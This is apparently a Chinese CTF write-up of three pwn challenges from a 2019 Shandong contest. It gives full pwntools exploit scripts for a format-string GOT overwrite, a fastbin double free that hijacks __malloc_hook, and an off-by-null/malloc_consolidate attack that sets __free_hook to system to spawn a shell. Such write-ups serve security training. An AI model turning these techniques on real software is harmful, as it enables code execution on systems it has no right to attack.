把之前比赛的题目做做 当时放弃拯救的我,把所有能保存的题目都保存了下来深思杯 2019 山东省大学生网络安全技能大赛.zip
MinZhu 首先有一个检测,要把 key 找出来才能进入,使用 angr 就可以 找出来 key 是 xNd9y6
然后看一下位置,第四个
image.png
然后, 程序有一个后门,覆盖后面要执行的一个函数的地址为它就能打印出 flag 了
image.png
1 2 3 4 5 6 7 8 9 from pwn import *p = process("./pwn" ) p.recvuntil("Key:" ) p.sendline("xNd9y6" ) p.recvuntil("your msg:" ) payload2 = fmtstr_payload(4 , {0x804A034 :0x080486B5 }) print(len(payload2)) p.sendline(payload2) p.interactive()
image.png
heap_doublefree_x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *context(log_level="DEBUG" ) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) def add (size,content) : p.sendlineafter("choice:" ,"1" ) p.sendlineafter("length of data:\n" ,str(size)) p.recvuntil("Leave your message:\n" ) p.send(content) def delete (index) : p.sendlineafter("choice:" ,"2" ) p.sendlineafter("want to delete:\n" ,str(index)) def show () : p.sendlineafter("choice:" ,"3" ) def modify (index,content) : p.sendlineafter("choice:" ,"4" ) p.sendlineafter("want to modify:\n" ,str(index)) p.sendlineafter("to modify:\n" ,content) def quit (suggest) : p.sendlineafter("choice:" ,"5" ) p.sendlineafter("your advice:\n" ,suggest) add(0x20 ,"1111" ) add(0x20 , p64(0 ) + p64(0x31 ) + p64(0 ) + p64(0x31 )) add(0x20 , p64(0 ) + p64(0x31 )) add(0x60 , "4444" ) add(0x60 , "5555" ) add(0x20 , "2333" ) delete(1 ) delete(2 ) delete(1 ) add(0x20 , "\x50" ) add(0x20 , "\x50" ) add(0x20 , "\x50" ) add(0x20 , p64(0 ) + p64(0x111 )) delete(3 ) add(0x30 , "\x20" ) show() p.recvuntil("Total:11,Index->11\nSticky note:" ) unsortedbin = u64(p.recv(6 ).ljust(8 , '\x00' )) libc_base = unsortedbin -0x100 - 0x3c4b20 malloc_hook = libc_base + libc.sym['__malloc_hook' ] one_gadget = libc_base + 0xf1207 malloc_addr = malloc_hook - 0x30 + 0xd add(0x60 ,"1212" ) add(0x60 ,"1313" ) add(0x60 ,"1414" ) delete(12 ) delete(13 ) delete(12 ) add(0x60 , p64(malloc_addr)) add(0x60 , p64(malloc_addr)) add(0x60 , p64(malloc_addr)) payload = "a" * 3 + p64(0 ) + p64(0 ) + p64(one_gadget) add(0x60 , payload) p.recvuntil("Your choice:" ) p.sendline("1" ) p.recvuntil("Input the length of data:\n" ) p.sendline("21" ) p.interactive()
申请堆块的时候会在 0x06020C8(bss 段)维护一个表 分别是第几个申请的、大小、指针、1
image.png
不过没用上这里
free 的时候只是把存放的堆指针的地方给置为 0 了,没有把 chunk 给置为 0 fastbin double free 的时候是这么一个指针
image.png
image.png
可以把 fd 指针的最后一位改成 \x50,这样再去 malloc 的时候就能申请到 0x603050
1 2 3 4 5 6 7 8 9 10 11 12 13 add(0x20 ,"1111" ) add(0x20 , p64(0 ) + p64(0x31 ) + p64(0 ) + p64(0x31 )) add(0x20 , "3333" ) add(0x60 , "4444" ) add(0x60 , "5555" ) add(0x20 , "2333" ) delete(1 ) delete(2 ) delete(1 ) add(0x20 , "\x50" ) add(0x20 , "\x50" ) add(0x20 , "\x50" ) add(0x20 , p64(0 ) + p64(0x111 ))
然后 free 掉,再 malloc 回来去 show 就能显示出来,然而我们会改掉后面那一位,不过不要紧,后三位基本都是 0x00 的
1 2 3 4 5 6 delete(3 ) add(0x30 , "\x20" ) show() p.recvuntil("Total:11,Index->11\nSticky note:" ) unsortedbin = u64(p.recv(6 ).ljust(8 , '\x00' )) libc_base = unsortedbin -0x100 - 0x3c4b20
然后就能计算出 malloc_hook 与 one_gadget 的地址了
1 2 3 malloc_hook = libc_base + libc.sym['__malloc_hook' ] one_gadget = libc_base + 0xf1207 malloc_addr = malloc_hook - 0x30 + 0xd
在我电脑上 one_gadget 中的 0xf1207 可以用 这个 malloc_addr 是算了个偏移,为了后面申请到 malloc_hook 的时候能有个 size 位绕过检查 然后还是上面的套路,fastbin double free 把 malloc_hook 的地址改为 one_gadget
1 2 3 4 5 6 7 8 9 10 11 add(0x60 ,"1212" ) add(0x60 ,"1313" ) add(0x60 ,"1414" ) delete(12 ) delete(13 ) delete(12 ) add(0x60 , p64(malloc_addr)) add(0x60 , p64(malloc_addr)) add(0x60 , p64(malloc_addr)) payload = "a" * 3 + p64(0 ) + p64(0 ) + p64(one_gadget) add(0x60 , payload)
然后去申请的时候就能拿到 shell 了
image.png
secnote 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *p = process("./pwn" ) elf = ELF("./pwn" ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def add (index,leng,content) : p.sendlineafter("Your choice: " ,"1" ) p.sendlineafter("Index: " ,str(index)) p.sendlineafter("note len: " ,str(leng)) p.sendlineafter("content: " ,content) def check (index) : p.sendlineafter("Your choice: " ,"2" ) p.sendlineafter("Index: " ,str(index)) def delete (index) : p.sendlineafter("Your choice: " ,"3" ) p.sendlineafter("Index: " ,str(index)) for i in range(25 ): add(i,0x78 ,'aaaa' +str(i)) for i in range(7 ): delete(i) delete(10 ) delete(11 ) delete(12 ) delete(13 ) delete(14 ) delete(15 ) p.sendlineafter("Your choice: " ,'1' *0x600 ) p.sendlineafter("Index: " ,"50" ) for i in range(7 ): add(i,0x78 ,'bbbb' +str(i)) add(25 , 0x78 , '25' +"b" * 0x76 ) add(26 , 0x78 , '26' +"b" * 0x6e ) add(27 , 0x78 , '27' +"b" * 0x6e ) add(28 , 0x78 , '28' +"b" * 0x6e ) add(29 , 0x78 , '29' +"b" * 0x6e ) add(30 , 0x78 , "/bin/sh\x00" ) for i in range(7 ): delete(i) delete(16 ) delete(26 ) p.sendlineafter("Your choice: " ,'1' *0x600 ) p.sendlineafter("Index: " ,"50" ) for i in range(7 ): add(i, 0x78 , "tcache" +str(i)) add(31 , 0x78 , "aaaa31" ) p.recvuntil("Your choice: " ) p.sendline("2" ) p.recvuntil("Index: " ) p.sendline("27" ) p.recvuntil("Content: " ) libc_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) - 96 - 0x3ebc40 free_hook = libc_addr + libc.symbols['__free_hook' ] system = libc_addr + libc.symbols["system" ] add(10 , 0x78 , "aaaa10" ) delete(10 ) delete(27 ) add(10 , 0x78 , p64(free_hook)) add(11 , 0x78 , p64(free_hook)) add(12 , 0x78 , p64(system)) p.recvuntil("Your choice: " ) p.sendline("3" ) p.recvuntil("Index: " ) p.sendline("30" ) p.interactive()
这个题目配了个 libc 2.27 的,所以应该是在 ubuntu 18 下的 限制了 size 的大小要小于等于 0x78,存在 off by null
image.png
首先把 tcache 填满,接下来 free 的那些就会放到 fastbin 中了
如果 scanf 读入的是一个很大的数的话他就会去申请一块空间,如果这个空间申请的足够大就能触发 malloc_consolidate,从而合并 fastbin 放到 unsorted bin 中去 所以,我们在 scanf 的时候去发送很大的一个数比如 ‘1’*600 就能让前面那些 fastbin 合并
image.png
再把之前放在 tcache 中的申请回来,然后去申请一个 chunk,正常情况应该是:把 unsorted bin 中那块 0x300 分成 0x80 与 0x280,但是如果全部写上加上后面那个 off by null 就会把 0x280 的 size 给改掉,改为 0x200
image.png
然后把那 0x200 申请掉,再申请的话就从 top chunk 中划分了(/bin/sh 那个),但是此时图中 aaaa16 那里的 prev_size 依然是 0x280
image.png
这时候先把 tcache 填满了,再去 free 掉 aaaa16 那个,然后再次触发 malloc_consolidate 就会再给我们一个 0x300 大小的 free chunk(aaaa16 跟它前面那块)
image.png
先把 tcache 中的都申请完,然后再去申请一个,现在再去 check index27 的就能泄露出 unsorted bin 的地址
image.png
然后申请一个 index10,这时候正好申请到 index27 那里,那么接下来就是 fastbin double free 了,可以对着这个释放两次,一次 free(index27),一次 free(index10),然后把 free_hook 改为 system 的地址,然后去 free(index30) 也就是前面写入 /bin/sh 的那一个 chunk
image.png
参考:https://wzt.ac.cn/2019/11/04/sdnisc2019/
最后更新时间:2022-10-03 21:52:43